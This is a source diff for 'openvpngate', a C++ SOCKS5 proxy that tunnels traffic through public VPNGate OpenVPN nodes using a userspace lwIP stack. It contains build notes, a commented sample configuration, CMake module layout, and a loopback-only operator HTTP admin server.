```bash
|
||||
# 环境
|
||||
uname -a; id; ls -l /dev/net/tun # → 无 tun 设备,uid=1000
|
||||
|
||||
# VPNGate API 实测
|
||||
curl -s -o /tmp/v.csv -w '%{size_download}' http://www.vpngate.net/api/iphone/
|
||||
# → 1293288 bytes
|
||||
awk '{if(length($0)>m)m=length($0)}END{print m}' /tmp/v.csv
|
||||
# → 13529
|
||||
# 解码第 1 个节点的 base64 配置 → 见 §3.2
|
||||
|
||||
# openvpn3 tun builder 路径
|
||||
git clone --depth 1 https://github.com/OpenVPN/openvpn3
|
||||
grep -n 'stream_descriptor' openvpn/tun/builder/client.hpp
|
||||
# → :59 Base::stream = new openvpn_io::posix::stream_descriptor(io_context, socket);
|
||||
cmake -S . -B build -G Ninja -DCLI_TUNBUILDER=ON && cmake --build build --target ovpncli
|
||||
# → 编译成功,0 warning
|
||||
|
||||
# socketpair-as-tun:对真实节点的端到端验证(§2.2)
|
||||
cmake -S . -B build -DOVG_WITH_TUNNEL=ON && cmake --build build --target ovg_tunnel_smoke
|
||||
./build/src/ovg_tunnel_smoke --node public-vpn-113 --ping 8.8.8.8 --seconds 15
|
||||
# → tunnel up 10.239.88.225/30;6 个 ICMP echo reply;exit 0
|
||||
|
||||
# 沙箱 UDP 出网能力(解释为何 UDP 节点无法实测)
|
||||
# DNS 8.8.8.8:53 → 56 字节应答,正常
|
||||
# NTP 216.239.35.0 / 129.6.15.28 / 162.159.200.1 :123 → 三个全部超时
|
||||
```
|
||||
|
||||
依赖版本:openvpn3 master(2026-07 快照)、lwIP 2.2.1、OpenSSL 3.5.6、lz4 1.10.0、
|
||||
fmt 10.1.1、ASIO 1.30(standalone)、GCC 14.2 / C++20。
|
||||
@@ -0,0 +1,220 @@
|
||||
# openvpngate -- sample configuration
|
||||
#
|
||||
# Every key below is optional and shown at its default unless noted. Durations
|
||||
# take a unit suffix ("250ms", "30s", "5m", "2h"); a bare number means seconds.
|
||||
# Comments run from '#' to end of line.
|
||||
#
|
||||
# openvpngate -c etc/openvpngate.conf --check validate and print, no start
|
||||
# openvpngate -c etc/openvpngate.conf run
|
||||
#
|
||||
# Nothing here needs root. The tunnel is terminated in userspace (lwIP), so
|
||||
# there is no tun device, no routing table change, and no capability to grant.
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
[socks5]
|
||||
# ---------------------------------------------------------------------------
|
||||
listen_address = 127.0.0.1
|
||||
listen_port = 1080
|
||||
|
||||
# Leave this on. With it off the proxy is an open relay to anyone who can reach
|
||||
# the listen address.
|
||||
require_auth = true
|
||||
|
||||
# Credentials. Two ways, and they merge:
|
||||
# * the [users] section at the bottom of this file (plaintext, dev only)
|
||||
# * auth_file, which also accepts pre-hashed lines and is reloaded on SIGHUP
|
||||
# auth_file = etc/socks5.auth
|
||||
|
||||
# SOCKS5 UDP ASSOCIATE. Supported, with the caveats in docs/FEASIBILITY.md §5:
|
||||
# fragmented datagrams (FRAG != 0) are dropped and counted, never reassembled.
|
||||
udp_associate = true
|
||||
|
||||
# The address handed back in the UDP ASSOCIATE reply. It has to be reachable
|
||||
# *by the client*, which is why it cannot be derived from listen_address when
|
||||
# that is 0.0.0.0. Empty = use the control connection's local address.
|
||||
# advertise_address =
|
||||
|
||||
# Admission control. Refused at accept, before a session object exists: this is
|
||||
# the only thing standing between a burst and lwIP's allocator.
|
||||
max_sessions = 1200
|
||||
|
||||
handshake_timeout = 10s
|
||||
connect_timeout = 20s
|
||||
idle_timeout = 5m
|
||||
udp_idle_timeout = 60s
|
||||
relay_buffer_size = 16384
|
||||
|
||||
# 0 = min(hardware_concurrency, 4). More than four buys little: every tunnelled
|
||||
# byte passes through lwIP's single strand regardless.
|
||||
io_threads = 0
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
[vpngate]
|
||||
# ---------------------------------------------------------------------------
|
||||
# The public node directory. Lines in this CSV can be ~10 KB each (the whole
|
||||
# .ovpn profile is base64 in the last column), which the parser handles by
|
||||
# streaming rather than by splitting the response into lines.
|
||||
api_urls = http://www.vpngate.net/api/iphone/
|
||||
refresh_interval = 30m
|
||||
http_timeout = 30s
|
||||
|
||||
# A stale cache still beats no nodes at all when the API is down.
|
||||
cache_path = var/vpngate_cache.csv
|
||||
cache_max_age = 6h
|
||||
max_response_bytes = 33554432
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
[selector]
|
||||
# ---------------------------------------------------------------------------
|
||||
# Two-phase: rank everything cheaply from the API metrics, then actively probe
|
||||
# only the survivors. VPNGate's own numbers are measured from their
|
||||
# infrastructure, not from yours, so they are a prior and nothing more.
|
||||
# country_allow = JP, KR, SG
|
||||
# country_deny = RU
|
||||
prefer_udp = true
|
||||
|
||||
probe_candidates = 12
|
||||
probe_samples = 3
|
||||
probe_timeout = 3s
|
||||
probe_concurrency = 8
|
||||
|
||||
# Prior weights (API-derived).
|
||||
w_score = 0.35
|
||||
w_speed = 0.30
|
||||
w_sessions = 0.20
|
||||
w_uptime = 0.15
|
||||
|
||||
# Final blend. Our own measured RTT outweighs anything the directory claims.
|
||||
w_rtt = 0.45
|
||||
w_prior = 0.30
|
||||
w_history = 0.25
|
||||
|
||||
# Per-node outcome history. This is what stops the selector walking into the
|
||||
# same broken node every time it appears with a flattering score.
|
||||
history_path = var/node_history.tsv
|
||||
failure_backoff_initial = 60s
|
||||
failure_backoff_max = 1h
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
[switch]
|
||||
# ---------------------------------------------------------------------------
|
||||
# graceful = make-before-break (new tunnel is fully up before the old one is
|
||||
# replaced); hard = promote and close everything at once.
|
||||
mode = graceful
|
||||
|
||||
# How long a replaced egress keeps serving the sessions still on it.
|
||||
drain_grace = 2m
|
||||
max_draining = 2
|
||||
|
||||
# Anti-flap: no switch within this window of the last one, and a candidate must
|
||||
# beat the incumbent by improvement_margin to be worth the disruption.
|
||||
min_interval = 60s
|
||||
improvement_margin = 0.20
|
||||
backoff_initial = 30s
|
||||
backoff_max = 8m
|
||||
|
||||
# What survives a switch. A session that has moved no bytes carries no TCP
|
||||
# state, so it is re-dialled on the new egress transparently; a UDP association
|
||||
# has no sequence state at all, so only its egress-side socket is replaced and
|
||||
# the client never sees the port change. Everything else drains and is closed
|
||||
# when the grace window expires -- see docs/ARCHITECTURE.md §5.3.
|
||||
retry_zero_progress = true
|
||||
rehome_udp = true
|
||||
|
||||
# Go looking for a *better* node while the current one is healthy. Off by
|
||||
# default: a scan probes a dozen volunteer-run servers and a switch costs every
|
||||
# session that has moved bytes. Degradation-driven switching covers the
|
||||
# requirement; this is the optional upgrade path.
|
||||
opportunistic_interval = 0
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
[health]
|
||||
# ---------------------------------------------------------------------------
|
||||
interval = 15s
|
||||
|
||||
# Consecutive bad windows before a switch is requested. One bad sample on a
|
||||
# volunteer tunnel in another country is weather, not a failure.
|
||||
unhealthy_windows = 3
|
||||
|
||||
# The probe dials this through the egress and drops the stream immediately. A
|
||||
# TCP handshake rather than a DNS lookup on purpose: a lookup can be answered
|
||||
# from cache without a byte crossing the tunnel, which would report a dead
|
||||
# tunnel as the healthiest node in the fleet.
|
||||
probe_domain = www.google.com
|
||||
probe_port = 80
|
||||
probe_timeout = 5s
|
||||
|
||||
min_score = 0.40
|
||||
max_connect_failure_rate = 0.50
|
||||
stall_threshold = 45s
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
[ovpn]
|
||||
# ---------------------------------------------------------------------------
|
||||
# VPNGate nodes are overwhelmingly AES-128-CBC + SHA1. Turning this off is
|
||||
# principled and will fail to connect to most of the directory.
|
||||
allow_legacy_algorithms = true
|
||||
|
||||
# Most VPNGate nodes ignore credentials; the ones that ask want "vpn"/"vpn".
|
||||
username = vpn
|
||||
password = vpn
|
||||
|
||||
connect_timeout = 30
|
||||
tunnel_up_timeout = 45
|
||||
compression = true
|
||||
|
||||
# Socket buffers for the tun-side socketpair. Too small drops IP packets under
|
||||
# burst -- recoverable, but it costs throughput.
|
||||
packet_socket_buffer = 2097152
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
[dns]
|
||||
# ---------------------------------------------------------------------------
|
||||
# Used inside the tunnel when the server pushes no resolver of its own. Must be
|
||||
# literals: resolving a resolver needs a resolver.
|
||||
fallback_servers = 1.1.1.1, 8.8.8.8
|
||||
timeout = 5s
|
||||
cache_entries = 4096
|
||||
min_ttl = 5s
|
||||
max_ttl = 1h
|
||||
prefer_ipv4 = true
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
[admin]
|
||||
# ---------------------------------------------------------------------------
|
||||
# GET /status /nodes /sessions /health /metrics /healthz, POST /switch.
|
||||
# There is NO authentication here. Keep it on loopback.
|
||||
enabled = true
|
||||
listen_address = 127.0.0.1
|
||||
listen_port = 9080
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
[log]
|
||||
# ---------------------------------------------------------------------------
|
||||
level = info
|
||||
file = - # "-" is stderr
|
||||
|
||||
[log.modules]
|
||||
# Per-module overrides; the tag is the one in square brackets in each log line.
|
||||
# socks5 = debug
|
||||
# netstack = warn
|
||||
# health = debug
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
[egress]
|
||||
# ---------------------------------------------------------------------------
|
||||
# Which way out to build:
|
||||
#
|
||||
# tunnel OpenVPN + lwIP -- the real thing
|
||||
# direct host sockets, NO VPN -- for testing the proxy in isolation. A build
|
||||
# configured with -DOVG_WITH_TUNNEL=OFF refuses to start in any other
|
||||
# mode rather than silently proxying in the clear.
|
||||
mode = tunnel
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
[users]
|
||||
# ---------------------------------------------------------------------------
|
||||
# user = password, hashed with a random salt at load time. Fine for a laptop;
|
||||
# for anything shared use socks5.auth_file, which takes pre-hashed lines and
|
||||
# reloads on SIGHUP without dropping a single live session.
|
||||
alice = changeme
|
||||
@@ -0,0 +1,156 @@
|
||||
# Module layout mirrors docs/ARCHITECTURE.md. Dependencies point strictly one
|
||||
# way -- app -> {health, socks5, egress, selector} -> {netstack, ovpn, vpngate}
|
||||
# -> common -- and CMake is where that is enforced: if a link edge is missing
|
||||
# here, the include is wrong.
|
||||
|
||||
# Settings every module shares.
|
||||
add_library(ovg_flags INTERFACE)
|
||||
target_include_directories(ovg_flags INTERFACE
|
||||
${CMAKE_CURRENT_SOURCE_DIR}
|
||||
${ASIO_INCLUDE_DIR})
|
||||
target_compile_definitions(ovg_flags INTERFACE ASIO_STANDALONE)
|
||||
|
||||
# Compiled in, not #ifdef'd out at the include level: every module can test it
|
||||
# with a plain `if constexpr`/`#if` and the value is never accidentally absent.
|
||||
if(OVG_WITH_TUNNEL)
|
||||
target_compile_definitions(ovg_flags INTERFACE OVG_WITH_TUNNEL=1)
|
||||
else()
|
||||
target_compile_definitions(ovg_flags INTERFACE OVG_WITH_TUNNEL=0)
|
||||
endif()
|
||||
|
||||
target_compile_options(ovg_flags INTERFACE
|
||||
-Wall -Wextra -Wpedantic
|
||||
-Wno-unused-parameter)
|
||||
target_link_libraries(ovg_flags INTERFACE
|
||||
fmt::fmt
|
||||
Threads::Threads
|
||||
PkgConfig::OPENSSL)
|
||||
|
||||
# ---- common: logging, config, metrics, errors, HTTP ------------------------
|
||||
add_library(ovg_common STATIC
|
||||
common/logging.cpp
|
||||
common/endpoint.cpp
|
||||
common/error.cpp
|
||||
common/metrics.cpp
|
||||
common/config.cpp
|
||||
common/http_get.cpp)
|
||||
target_link_libraries(ovg_common PUBLIC ovg_flags)
|
||||
|
||||
# ---- vpngate: API client, CSV parsing, node list ---------------------------
|
||||
add_library(ovg_vpngate STATIC
|
||||
vpngate/csv_parser.cpp
|
||||
vpngate/node_store.cpp)
|
||||
target_link_libraries(ovg_vpngate PUBLIC ovg_common)
|
||||
|
||||
# ---- ovpn: one OpenVPN session, and the socketpair standing in for a tun ---
|
||||
# This is the only target that sees openvpn3 headers. Everything above it talks
|
||||
# to TunnelClient, whose implementation is pimpl'd away, so a change in the core
|
||||
# cannot ripple past this line.
|
||||
add_library(ovg_ovpn STATIC
|
||||
ovpn/packet_pipe.cpp
|
||||
ovpn/profile_sanitizer.cpp
|
||||
ovpn/tunnel_client.cpp)
|
||||
target_link_libraries(ovg_ovpn PUBLIC ovg_vpngate)
|
||||
if(OVG_WITH_TUNNEL)
|
||||
# PRIVATE: ovg_openvpn3's include directories must not leak to our callers.
|
||||
# They arrive as -isystem (see cmake/Dependencies.cmake), so the core's own
|
||||
# warnings stay quiet while our code in tunnel_client.cpp keeps -Wall -Wextra.
|
||||
target_link_libraries(ovg_ovpn PRIVATE ovg_openvpn3)
|
||||
endif()
|
||||
|
||||
# ---- netstack: the userspace TCP/IP stack ----------------------------------
|
||||
# Only built with the tunnel: without lwIP there is nothing here to compile, and
|
||||
# the direct egress uses host sockets through the same interfaces (stream.h).
|
||||
if(OVG_WITH_TUNNEL)
|
||||
# The port layer: sys_now() and the three hooks arch/cc.h expands to. lwIP
|
||||
# itself will not link without them, so it has to be its own target rather
|
||||
# than part of ovg_netstack -- a static archive only resolves symbols that are
|
||||
# already undefined when the linker reaches it, and ovg_netstack sits *before*
|
||||
# ovg_lwip on the link line. As a separate target it lands after, where lwIP's
|
||||
# references to it are pending.
|
||||
#
|
||||
# It gets lwIP's headers by path rather than by linking ovg_lwip, which would
|
||||
# make the dependency circular for no benefit: it needs the declarations, not
|
||||
# the objects.
|
||||
add_library(ovg_lwip_port STATIC netstack/lwip_port/lwip_shim.cpp)
|
||||
target_link_libraries(ovg_lwip_port PUBLIC ovg_common)
|
||||
target_include_directories(ovg_lwip_port SYSTEM PRIVATE ${LWIP_INCLUDE_DIRS})
|
||||
target_link_libraries(ovg_lwip INTERFACE ovg_lwip_port)
|
||||
|
||||
add_library(ovg_netstack STATIC
|
||||
netstack/lwip_stack.cpp
|
||||
netstack/lwip_tcp.cpp
|
||||
netstack/lwip_udp.cpp
|
||||
netstack/dns_resolver.cpp)
|
||||
target_link_libraries(ovg_netstack PUBLIC ovg_common)
|
||||
# PRIVATE: lwIP's headers stop here. Callers see stream.h and packet_link.h,
|
||||
# which is what makes replacing the stack a contained change.
|
||||
target_link_libraries(ovg_netstack PRIVATE ovg_lwip)
|
||||
endif()
|
||||
|
||||
# ---- selector: scoring, probing, node choice -------------------------------
|
||||
add_library(ovg_selector STATIC
|
||||
selector/history.cpp
|
||||
selector/scorer.cpp
|
||||
selector/prober.cpp
|
||||
selector/selector.cpp)
|
||||
target_link_libraries(ovg_selector PUBLIC ovg_vpngate)
|
||||
|
||||
# ---- egress: the way out, and the make-before-break switch -----------------
|
||||
# The direct egress is always built: it is what the SOCKS5 tests run against,
|
||||
# and what `egress_mode = direct` selects. The tunnel one only exists when there
|
||||
# is a netstack for it to sit on, which is why it is a conditional source rather
|
||||
# than a file full of #ifdefs.
|
||||
set(OVG_EGRESS_SOURCES
|
||||
egress/egress.cpp
|
||||
egress/direct_egress.cpp
|
||||
egress/egress_manager.cpp)
|
||||
if(OVG_WITH_TUNNEL)
|
||||
list(APPEND OVG_EGRESS_SOURCES egress/tunnel_egress.cpp)
|
||||
endif()
|
||||
add_library(ovg_egress STATIC ${OVG_EGRESS_SOURCES})
|
||||
target_link_libraries(ovg_egress PUBLIC ovg_selector ovg_ovpn)
|
||||
if(OVG_WITH_TUNNEL)
|
||||
target_link_libraries(ovg_egress PUBLIC ovg_netstack)
|
||||
endif()
|
||||
|
||||
# ---- socks5: the front door ------------------------------------------------
|
||||
# Depends on ovg_egress only for the Egress interface; it never names a tunnel,
|
||||
# a node, or lwIP. That is what lets the whole proxy be tested over loopback
|
||||
# against a DirectEgress with no VPN in sight.
|
||||
add_library(ovg_socks5 STATIC
|
||||
socks5/protocol.cpp
|
||||
socks5/auth.cpp
|
||||
socks5/session.cpp
|
||||
socks5/udp_relay.cpp
|
||||
socks5/server.cpp)
|
||||
target_link_libraries(ovg_socks5 PUBLIC ovg_egress)
|
||||
|
||||
# ---- health: scoring and the decision to switch ----------------------------
|
||||
# Links the manager (it drives switches) but not socks5: the health picture is
|
||||
# built from the egress alone, so nothing here can start depending on what the
|
||||
# proxy happens to be doing.
|
||||
add_library(ovg_health STATIC
|
||||
health/health_monitor.cpp
|
||||
health/switch_controller.cpp)
|
||||
target_link_libraries(ovg_health PUBLIC ovg_egress)
|
||||
|
||||
# ---- app: assembly, admin endpoint, entry point ----------------------------
|
||||
# The only target that links everything. Split into a library plus a two-line
|
||||
# main so the assembled service can be constructed by a test without spawning a
|
||||
# process.
|
||||
add_library(ovg_app STATIC
|
||||
app/app.cpp
|
||||
app/admin_server.cpp)
|
||||
target_link_libraries(ovg_app PUBLIC ovg_socks5 ovg_health)
|
||||
if(OVG_WITH_TUNNEL)
|
||||
target_link_libraries(ovg_app PUBLIC ovg_netstack)
|
||||
endif()
|
||||
|
||||
add_executable(openvpngate app/main.cpp)
|
||||
target_link_libraries(openvpngate PRIVATE ovg_app)
|
||||
|
||||
# ---- diagnostic tools ------------------------------------------------------
|
||||
# Not part of the service. See each file's header comment for what it answers.
|
||||
add_executable(ovg_tunnel_smoke ${CMAKE_SOURCE_DIR}/tools/tunnel_smoke.cpp)
|
||||
target_link_libraries(ovg_tunnel_smoke PRIVATE ovg_ovpn)
|
||||
@@ -0,0 +1,286 @@
|
||||
#include "app/admin_server.h"
|
||||
|
||||
#include <array>
|
||||
#include <memory>
|
||||
#include <utility>
|
||||
|
||||
#include "app/json.h"
|
||||
#include "common/logging.h"
|
||||
#include "common/metrics.h"
|
||||
|
||||
namespace ovg::app {
|
||||
namespace {
|
||||
|
||||
constexpr const char *kMod = "admin";
|
||||
|
||||
// A request that does not fit is not a request we serve. The largest thing any
|
||||
// client legitimately sends here is a request line plus a handful of headers.
|
||||
constexpr size_t kMaxRequestBytes = 8192;
|
||||
constexpr std::chrono::seconds kRequestTimeout{10};
|
||||
|
||||
std::string http_response(int status, const char *reason,
|
||||
const char *content_type, const std::string &body) {
|
||||
std::string out;
|
||||
out.reserve(body.size() + 160);
|
||||
out += "HTTP/1.1 ";
|
||||
out += std::to_string(status);
|
||||
out += ' ';
|
||||
out += reason;
|
||||
out += "\r\nContent-Type: ";
|
||||
out += content_type;
|
||||
out += "\r\nContent-Length: ";
|
||||
out += std::to_string(body.size());
|
||||
// No caching and no sniffing: this is a control plane, and a proxy or a
|
||||
// browser deciding to be clever with it helps nobody.
|
||||
out += "\r\nCache-Control: no-store"
|
||||
"\r\nX-Content-Type-Options: nosniff"
|
||||
"\r\nConnection: close\r\n\r\n";
|
||||
out += body;
|
||||
return out;
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
// One request, one connection, one shot. Held alive by its own handlers.
|
||||
class AdminServer::Conn : public std::enable_shared_from_this<AdminServer::Conn> {
|
||||
public:
|
||||
// The hooks are copied, not referenced: a connection outlives the accept
|
||||
// handler that created it, and a dangling reference here would be a
|
||||
// use-after-free reachable from the network.
|
||||
Conn(asio::ip::tcp::socket sock, Hooks hooks)
|
||||
: sock_(std::move(sock)),
|
||||
timer_(sock_.get_executor()),
|
||||
hooks_(std::move(hooks)) {}
|
||||
|
||||
void start() {
|
||||
timer_.expires_after(kRequestTimeout);
|
||||
auto self = shared_from_this();
|
||||
timer_.async_wait([self](const std::error_code &ec) {
|
||||
if (ec) return;
|
||||
// A client that opens a socket and says nothing must not hold a slot.
|
||||
std::error_code ignored;
|
||||
self->sock_.close(ignored);
|
||||
});
|
||||
read_more();
|
||||
}
|
||||
|
||||
private:
|
||||
void read_more() {
|
||||
if (buf_.size() >= kMaxRequestBytes) {
|
||||
reply(413, "Payload Too Large", "text/plain", "request header too large\n");
|
||||
return;
|
||||
}
|
||||
auto self = shared_from_this();
|
||||
sock_.async_read_some(
|
||||
asio::buffer(scratch_), [self](const std::error_code &ec, size_t n) {
|
||||
if (ec) {
|
||||
self->finish();
|
||||
return;
|
||||
}
|
||||
self->buf_.append(self->scratch_.data(), n);
|
||||
// Only the head is needed. A POST body is deliberately never read:
|
||||
// every mutating endpoint here takes its input from the path.
|
||||
const auto end = self->buf_.find("\r\n\r\n");
|
||||
if (end == std::string::npos) {
|
||||
self->read_more();
|
||||
return;
|
||||
}
|
||||
self->dispatch(self->buf_.substr(0, self->buf_.find("\r\n")));
|
||||
});
|
||||
}
|
||||
|
||||
void dispatch(const std::string &request_line) {
|
||||
// "METHOD SP TARGET SP VERSION"
|
||||
const auto sp1 = request_line.find(' ');
|
||||
const auto sp2 = sp1 == std::string::npos
|
||||
? std::string::npos
|
||||
: request_line.find(' ', sp1 + 1);
|
||||
if (sp1 == std::string::npos || sp2 == std::string::npos) {
|
||||
reply(400, "Bad Request", "text/plain", "malformed request line\n");
|
||||
return;
|
||||
}
|
||||
const std::string method = request_line.substr(0, sp1);
|
||||
std::string path = request_line.substr(sp1 + 1, sp2 - sp1 - 1);
|
||||
if (const auto q = path.find('?'); q != std::string::npos) path.resize(q);
|
||||
|
||||
LOG_DEBUG(kMod, "{} {}", method, path);
|
||||
|
||||
if (method == "GET") {
|
||||
if (path == "/healthz") {
|
||||
reply(200, "OK", "text/plain", "ok\n");
|
||||
return;
|
||||
}
|
||||
if (path == "/metrics") {
|
||||
reply(200, "OK", "text/plain; version=0.0.4",
|
||||
metrics::Registry::instance().render_prometheus());
|
||||
return;
|
||||
}
|
||||
if (path == "/status" && hooks_.status_json) {
|
||||
reply_json(hooks_.status_json());
|
||||
return;
|
||||
}
|
||||
if (path == "/nodes" && hooks_.nodes_json) {
|
||||
reply_json(hooks_.nodes_json());
|
||||
return;
|
||||
}
|
||||
if (path == "/sessions" && hooks_.sessions_json) {
|
||||
reply_json(hooks_.sessions_json());
|
||||
return;
|
||||
}
|
||||
if (path == "/health" && hooks_.health_json) {
|
||||
reply_json(hooks_.health_json());
|
||||
return;
|
||||
}
|
||||
if (path == "/") {
|
||||
reply(200, "OK", "text/plain",
|
||||
"openvpngate admin\n"
|
||||
" GET /status service state\n"
|
||||
" GET /nodes current node ranking\n"
|
||||
" GET /sessions live SOCKS5 sessions\n"
|
||||
" GET /health recent health samples\n"
|
||||
" GET /metrics prometheus metrics\n"
|
||||
" GET /healthz liveness\n"
|
||||
" POST /switch force a node switch\n");
|
||||
return;
|
||||
}
|
||||
} else if (method == "POST") {
|
||||
if (path == "/switch" && hooks_.force_switch) {
|
||||
std::string detail;
|
||||
const bool ok = hooks_.force_switch(&detail);
|
||||
// Built through the writer rather than concatenated: `detail` carries a
|
||||
// node id that came from the VPNGate directory, and that is not a
|
||||
// string we chose.
|
||||
Json j;
|
||||
j.obj().kv("accepted", ok).kv("detail", detail).end_obj();
|
||||
std::string body = j.take() + "\n";
|
||||
// 409 rather than 500: a refusal means a switch is already running,
|
||||
// which is a state conflict and not a failure.
|
||||
reply(ok ? 202 : 409, ok ? "Accepted" : "Conflict", "application/json",
|
||||
body);
|
||||
return;
|
||||
}
|
||||
} else {
|
||||
reply(405, "Method Not Allowed", "text/plain", "method not allowed\n");
|
||||
return;
|
||||
}
|
||||
|
||||
reply(404, "Not Found", "text/plain", "not found\n");
|
||||
}
|
||||
|
||||
void reply_json(std::string body) {
|
||||
body += '\n';
|
||||
reply(200, "OK", "application/json", body);
|
||||
}
|
||||
|
||||
void reply(int status, const char *reason, const char *type,
|
||||
const std::string &body) {
|
||||
resp_ = http_response(status, reason, type, body);
|
||||
auto self = shared_from_this();
|
||||
asio::async_write(sock_, asio::buffer(resp_),
|
||||
[self](const std::error_code &, size_t) {
|
||||
// Half-close so the client sees the end of the body
|
||||
// even if it has not finished sending its own headers.
|
||||
std::error_code ignored;
|
||||
self->sock_.shutdown(
|
||||
asio::ip::tcp::socket::shutdown_send, ignored);
|
||||
self->finish();
|
||||
});
|
||||
}
|
||||
|
||||
void finish() {
|
||||
timer_.cancel();
|
||||
std::error_code ignored;
|
||||
sock_.close(ignored);
|
||||
}
|
||||
|
||||
asio::ip::tcp::socket sock_;
|
||||
asio::steady_timer timer_;
|
||||
Hooks hooks_;
|
||||
std::array<char, 1024> scratch_{};
|
||||
std::string buf_;
|
||||
std::string resp_;
|
||||
};
|
||||
|
||||
AdminServer::AdminServer(asio::io_context &io, AdminConfig cfg, Hooks hooks)
|
||||
: io_(io),
|
||||
cfg_(std::move(cfg)),
|
||||
hooks_(std::move(hooks)),
|
||||
strand_(asio::make_strand(io)),
|
||||
acceptor_(strand_) {}
|
||||
|
||||
AdminServer::~AdminServer() { stop(); }
|
||||
|
||||
bool AdminServer::start(std::string *err) {
|
||||
std::error_code ec;
|
||||
const auto addr = asio::ip::make_address(cfg_.listen_address, ec);
|
||||
if (ec) {
|
||||
*err = "admin.listen_address is not an IP address: " + cfg_.listen_address;
|
||||
return false;
|
||||
}
|
||||
const asio::ip::tcp::endpoint ep(addr, cfg_.listen_port);
|
||||
|
||||
acceptor_.open(ep.protocol(), ec);
|
||||
if (ec) {
|
||||
*err = "admin: cannot open socket: " + ec.message();
|
||||
return false;
|
||||
}
|
||||
acceptor_.set_option(asio::socket_base::reuse_address(true), ec);
|
||||
acceptor_.bind(ep, ec);
|
||||
if (ec) {
|
||||
*err = "admin: cannot bind " + ep.address().to_string() + ":" +
|
||||
std::to_string(ep.port()) + ": " + ec.message();
|
||||
return false;
|
||||
}
|
||||
acceptor_.listen(16, ec);
|
||||
if (ec) {
|
||||
*err = "admin: cannot listen: " + ec.message();
|
||||
return false;
|
||||
}
|
||||
port_ = acceptor_.local_endpoint(ec).port();
|
||||
|
||||
if (!addr.is_loopback()) {
|
||||
// See the header: there is no authentication here. Off-loopback this is an
|
||||
// unauthenticated switch-my-VPN-now button on the network.
|
||||
LOG_WARN(kMod,
|
||||
"admin endpoint is bound to {}, which is NOT loopback, and it has "
|
||||
"no authentication -- anyone who can reach it can force a node "
|
||||
"switch and read live session metadata",
|
||||
addr.to_string());
|
||||
}
|
||||
LOG_INFO(kMod, "listening on {}:{}", addr.to_string(), port_);
|
||||
|
||||
do_accept();
|
||||
return true;
|
||||
}
|
||||
|
||||
void AdminServer::do_accept() {
|
||||
if (stopping_.load(std::memory_order_acquire)) return;
|
||||
acceptor_.async_accept(
|
||||
asio::make_strand(io_),
|
||||
[this](const std::error_code &ec, asio::ip::tcp::socket sock) {
|
||||
if (ec) {
|
||||
if (ec == asio::error::operation_aborted) return;
|
||||
LOG_WARN(kMod, "accept failed: {}", ec.message());
|
||||
if (acceptor_.is_open()) do_accept();
|
||||
return;
|
||||
}
|
||||
if (stopping_.load(std::memory_order_acquire)) {
|
||||
std::error_code ignored;
|
||||
sock.close(ignored);
|
||||
return;
|
||||
}
|
||||
std::make_shared<Conn>(std::move(sock), hooks_)->start();
|
||||
do_accept();
|
||||
});
|
||||
}
|
||||
|
||||
void AdminServer::stop() {
|
||||
if (stopping_.exchange(true, std::memory_order_acq_rel)) return;
|
||||
asio::post(strand_, [this] {
|
||||
std::error_code ignored;
|
||||
acceptor_.close(ignored);
|
||||
});
|
||||
LOG_INFO(kMod, "listener stopped");
|
||||
}
|
||||
|
||||
} // namespace ovg::app
|
||||
@@ -0,0 +1,81 @@
|
||||
// The operator interface: a deliberately small HTTP/1.1 server.
|
||||
//
|
||||
// ---------------------------------------------------------------------------
|
||||
// Scope
|
||||
// ---------------------------------------------------------------------------
|
||||
// GET /status everything about the running service, as JSON
|
||||
// GET /nodes the current ranking, with the scores that produced it
|
||||
// GET /sessions live SOCKS5 sessions (bounded)
|
||||
// GET /health recent health samples and the verdicts behind them
|
||||
// GET /metrics Prometheus text exposition
|
||||
// GET /healthz liveness; 200 and nothing else
|
||||
// POST /switch force a node switch now
|
||||
//
|
||||
// One request per connection, `Connection: close`, no keep-alive, no chunked
|
||||
// encoding, no request body ever read past its headers. That is not laziness:
|
||||
// this endpoint exists so a human or a scrape job can ask questions, and every
|
||||
// feature beyond that is attack surface on a control plane.
|
||||
//
|
||||
// ---------------------------------------------------------------------------
|
||||
// Why there is no authentication
|
||||
// ---------------------------------------------------------------------------
|
||||
// Because it binds to loopback and validate() refuses anything else without an
|
||||
// explicit opt-in. A token on a loopback socket protects against nothing that
|
||||
// a token in the same config file would not also expose; if this ever needs to
|
||||
// listen on a real interface, it needs real auth, and that is a change to make
|
||||
// deliberately rather than to half-do now. Binding off-loopback logs a warning
|
||||
// on every start for exactly that reason.
|
||||
//
|
||||
// The hooks are std::functions rather than component pointers so this file
|
||||
// depends on no module: app/ knows where the numbers come from, this only knows
|
||||
// how to serve them.
|
||||
#pragma once
|
||||
|
||||
#include <asio.hpp>
|
||||
|
||||
#include <atomic>
|
||||
#include <cstdint>
|
||||
#include <functional>
|
||||
#include <string>
|
||||
|
||||
#include "common/config.h"
|
||||
#include "common/strand_deleter.h"
|
||||
|
||||
namespace ovg::app {
|
||||
|
||||
class AdminServer {
|
||||
public:
|
||||
struct Hooks {
|
||||
std::function<std::string()> status_json;
|
||||
std::function<std::string()> nodes_json;
|
||||
std::function<std::string()> sessions_json;
|
||||
std::function<std::string()> health_json;
|
||||
// Returns false if the switch was refused; `detail` explains either way.
|
||||
std::function<bool(std::string *detail)> force_switch;
|
||||
};
|
||||
|
||||
AdminServer(asio::io_context &io, AdminConfig cfg, Hooks hooks);
|
||||
~AdminServer();
|
||||
|
||||
AdminServer(const AdminServer &) = delete;
|
||||
AdminServer &operator=(const AdminServer &) = delete;
|
||||
|
||||
bool start(std::string *err);
|
||||
void stop();
|
||||
|
||||
uint16_t port() const { return port_; }
|
||||
|
||||
private:
|
||||
class Conn;
|
||||
void do_accept();
|
||||
|
||||
asio::io_context &io_;
|
||||
AdminConfig cfg_;
|
||||
Hooks hooks_;
|
||||
Strand strand_;
|
||||
asio::ip::tcp::acceptor acceptor_;
|
||||
uint16_t port_ = 0;
|
||||
